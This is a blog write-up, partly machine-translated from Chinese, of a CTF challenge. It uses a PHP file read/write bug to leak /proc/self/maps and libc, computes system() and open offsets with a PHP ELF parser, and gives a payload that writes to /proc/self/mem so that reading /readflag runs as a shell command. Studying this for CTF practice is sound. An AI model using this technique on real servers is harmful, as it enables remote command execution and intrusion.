小工具      在线工具  汉语词典  css  js  c++  java

西湖论剑旗舰店解析再现

服务器,linux,安全 额外说明

收录于:40天前

前言

  • 比赛期间我做不到。其实这个问题是一个pwn问题。后面会和pwn大师一起讨论分析EXP分析,还原解题过程。我学到了很多东西,想与大家分享。

读取任意文件

  • 如果你抓包或者看源码,你会发现有SSRF,但是你没有读取flag的权限。测试发现有一个带有readflag的elf文件。

  • 阅读问题的全部源代码:

后端.php

<?php

$offset = isset($_GET['offset']) ? $_GET['offset'] : 0;
$buffer = isset($_GET['buffer']) ? $_GET['buffer'] : "";

if (isset($_GET['writefile'])) {
    $fp = fopen($_GET['writefile'], "a");
    fseek($fp, $offset);
    fwrite($fp, $buffer);
    fclose($fp);
}

if (isset($_GET['readfile'])) {
    echo file_get_contents($_GET['readfile']);
}
?>

索引.php

<?php

if(!isset($_COOKIE['sandbox'])) {
  $uuid = system("/var/www/html/copy");
  setcookie("sandbox", $uuid);
  header("Location: sandbox/".$uuid);
} else {
  header("Location: sandbox/".$_COOKIE['sandbox']);
}

文件写入

  • 从源码中我们可以知道这里存在文件写入问题。但测试反编译复制的elf文件发现网站根目录没有写权限。但测试发现tmp目录是可写的。

  • 我在这里基本上没有想法。后来看Nul1的wp,发现这个pwn问题被修改了。 (https://www.pianshen.com/article/4537767804/)

内存泄漏和动态链接库

/proc/self/地图

包含当前进程映射的内存区域及其访问权限。文件格式如下:

address           perms offset  dev   inode   pathname
08048000-08056000 r-xp 00000000 03:0c 64593   /usr/sbin/gpm
08056000-08058000 rw-p 0000d000 03:0c 64593   /usr/sbin/gpm
08058000-0805b000 rwxp 00000000 00:00 0
40000000-40013000 r-xp 00000000 03:0c 4165    /lib/ld-2.2.4.so
40013000-40015000 rw-p 00012000 03:0c 4165    /lib/ld-2.2.4.so
4001f000-40135000 r-xp 00000000 03:0c 45494   /lib/libc-2.2.4.so
40135000-4013e000 rw-p 00115000 03:0c 45494   /lib/libc-2.2.4.so
4013e000-40142000 rw-p 00000000 00:00 0
bffff000-c0000000 rwxp 00000000 00:00 0
  • 通过SSRF漏洞直接读取/proc/self/maps来泄露当前程序调用的到动态链接库和内存地址。

  • 直接把/lib/x86_64-linux-gnu/libc-2.19.so通过SSRF读取然后下载下来,通过readelf来查看system的地址。可以得知system函数的偏移是:0x0000000000046590

  • 我们将动态链接库的地址加上system的偏移就能计算出system函数的地址。

<?php
echo dechex(0x7ffff5f40000+0x0000000000046590);
//system函数结果:0x7ffff5f86590
?>

计算偏移量

  • 我们知道system函数的地址,我们就可以将open函数的地址替换为system函数的地址,我们在file_get_contents传入参数为系统命令实际执行的却是system函数,这样我们将readflag的结果输出到文件,或者反弹shell。这样我们下一步就是要计算open函数在二进制文件中的实际偏移,最后直接修改内存。

  • 这里需要用到/proc/self/exe

在Linux 2.2内核及更高版本中,/proc/pid/exe是直接执行的二进制文件的符号链接。这个符号链接可以取消。尝试打开这个文件就相当于打开二进制文件,甚至可以重新输入。 /proc/pid/exe 重新运行与 pid 对应的二进制文件。在多线程程序中,如果主线程已经退出,则无法访问此符号链接。

在Linux 2.0及之前版本中,/proc/pid/exe指向当前进程执行的二进制文件。

  • 同样,我们将其记录下来并使用以下脚本来计算 open 函数的偏移量。

<?php
function packlli($value) {
    $higher = ($value & 0xffffffff00000000) >> 32;
    $lower = $value & 0x00000000ffffffff;
    return pack('V2', $lower, $higher);
}

function unp($value) {
    return hexdec(bin2hex(strrev($value)));
}
function parseelf($bin_ver, $rela = false) {
    $bin = file_get_contents($bin_ver);
    $e_shoff = unp(substr($bin, 0x28, 8));
    $e_shentsize = unp(substr($bin, 0x3a, 2));
    $e_shnum = unp(substr($bin, 0x3c, 2));
    $e_shstrndx = unp(substr($bin, 0x3e, 2));

    for($i = 0; $i < $e_shnum; $i += 1) {
        $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
        if($sh_type == 11) { // SHT_DYNSYM 
            $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
        }
        elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
            $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
        }
        elseif($rela && $sh_type == 4) { // SHT_RELA
            $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
            $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
        }
    }

    if($rela) {
        for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
            $r_offset = unp(substr($bin, $i, 8));
            $r_info = unp(substr($bin, $i + 8, 8)) >> 32;
            $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "\0") {
                $name .= $bin[$j];
                
            }
  
            if($name == 'open') {
                return $r_offset;
            }
        }
    }
    else {
        for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
            $name_off = unp(substr($bin, $i, 4));
            $name = '';
            $j = $strtab_off + $name_off - 1;
            while($bin[++$j] != "\0") {
                $name .= $bin[$j];
            }
            if($name == '__libc_system') {
                $system_offset = unp(substr($bin, $i + 8, 8));
            }
            if($name == '__open') {
                $open_offset = unp(substr($bin, $i + 8, 8));
            }
        }
        return array($system_offset, $open_offset);
    }
}
$open_php = parseelf('exe', true);
//$maps = file_get_contents('lib.txt');
//$pie_base =(hexdec(explode('-', $maps)[0]));
echo $open_php;
//结果:15333784
?>

修改进程内存

/proc/self/mem 是进程的内存内容。修改这个文件相当于直接修改当前进程的内存。该文件无法直接读取,需要结合maps的映射信息来确定读取的偏移值。也就是说,未映射的区域无法读取。只有当读取的偏移值是映射区域时,才能正确读取内存内容。

  • 也就是说,我们只是通过maps和动态链接库计算出了系统的地址,需要修改mem,使open的地址成为系统的地址。既然我们已经计算出了偏移地址和文件偏移量,那么我们就可以直接构造payload了。

backend.php?readfile=/readflag>/tmp/i_o_u_hlq&writefile=/proc/self/mem&buffer=%90%65%f8%f5%ff%7f&offset=15333784
  • 直接读取/tmp/i_o_u_hlq就可以直接getflag

参考

  • Nu1L 西湖剑论wp

  • https://blog.spoock.com/2019/10/08/proc/

  • https://www.pianshen.com/article/4537767804/

相关实验

  • PWN综合练习(三)

  • https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015111814141500001

  • CTF PWN进阶训练实践,基于两次缓冲区溢出获取服务器控制权限。

. . .

相关推荐

额外说明

绝对正宗的atoi源码,非自己实现

下面是atoi.c源文件 #include <ansidecl.h> #include <stdlib.h> #undef atoi /* Convert a string to an int. */ int DEFUN(atoi, (nptr),

额外说明

移动电商——Flutter-GridView类别导航制作

QQ 1274510382 Wechat JNZ_aming 商业联盟 QQ群538250800 技术搞事 QQ群599020441 解决方案 QQ群152889761 加入我们 QQ群649347320 共享学习 QQ群674240731 纪年科技am

额外说明

获取本地IP的方法

using System; using System.Collections.Generic; using System.Linq; using System.Net; using System.Text; using System.Threading.

额外说明

WWW类过时提示使用 UnityWebRequest

学习笔记 其中包括 加载音频 加载图片 加载AssetBundle 加载文本文件 using System.Collections; using System.Collections.Generic; using UnityEngine; using U

额外说明

云原生开发:构建弹性应用的最新策略

文章目录 云原生开发概述 策略一:容器化 策略二:微服务架构 策略三:自动化 策略四:监控和日志记录 总结 -欢迎来到云计算技术应用专栏~云原生开发:构建弹性应用的最新策略 ☆* o(≧▽≦)o *☆嗨~我是IT·陈寒- ✨博客主页:IT·陈寒的博客 -

额外说明

elastcisearch——下

ES集群: 在上我们讲解了es的单节点模式,今天我们说一说ES的集群。 ES的集群结果和角色: 首先我们先知道什么叫元数据: 元数据就是描述数据的信息。其中ES集群的元数据比如有,分片个数,分片的储存位置,document文档中的index,type,v

额外说明

谈谈我对MySQL存储引擎的理解

  这篇文章并不是在说某个技术,更多的是一种感悟,一种学习技术的方法,相信读者如果认真阅读这篇文章,一定会比学习一个单纯的技术收获更大(就是这么自信^o^)。    到底什么是存储引擎,存储引擎这个概念在Oracle中是没有的。或者说Oracle中只有一

额外说明

【前端基础】div居中显示和背景的设置

一、描述 今天,学校安排的实习布置了简单的静态页面设计(主要学会使用JS、dom的认知),所给页面如下(感觉太丑了,就想进行一下调整): 调整后的效果: 二、主要技术记录 1.div调整(包括居中): 调整div的padding 建议使用%进行,因为页面

额外说明

Windows系统缺失找不到Direct2DDesktop.dll文件如何解决

其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题,如果是新手第一时间会认为是软件或游戏出错了,其实并不是这样,其主要原因就是你电脑系统的该dll文件丢失了或没有安装一些系统软件平台所需要的动态链接库,这时你可以下载这个Direct2DDeskto

额外说明

完全注解的ssm框架搭建

使用配置文件有时比较麻烦,但是spring可以实现完整的注解开发。 spring注解开发基础 使用配置文件启动IoC容器的对象是ClassPathXmlApplicationContext而使用配置类启动IoC容器的对象是AnnotationConfig

ads via 小工具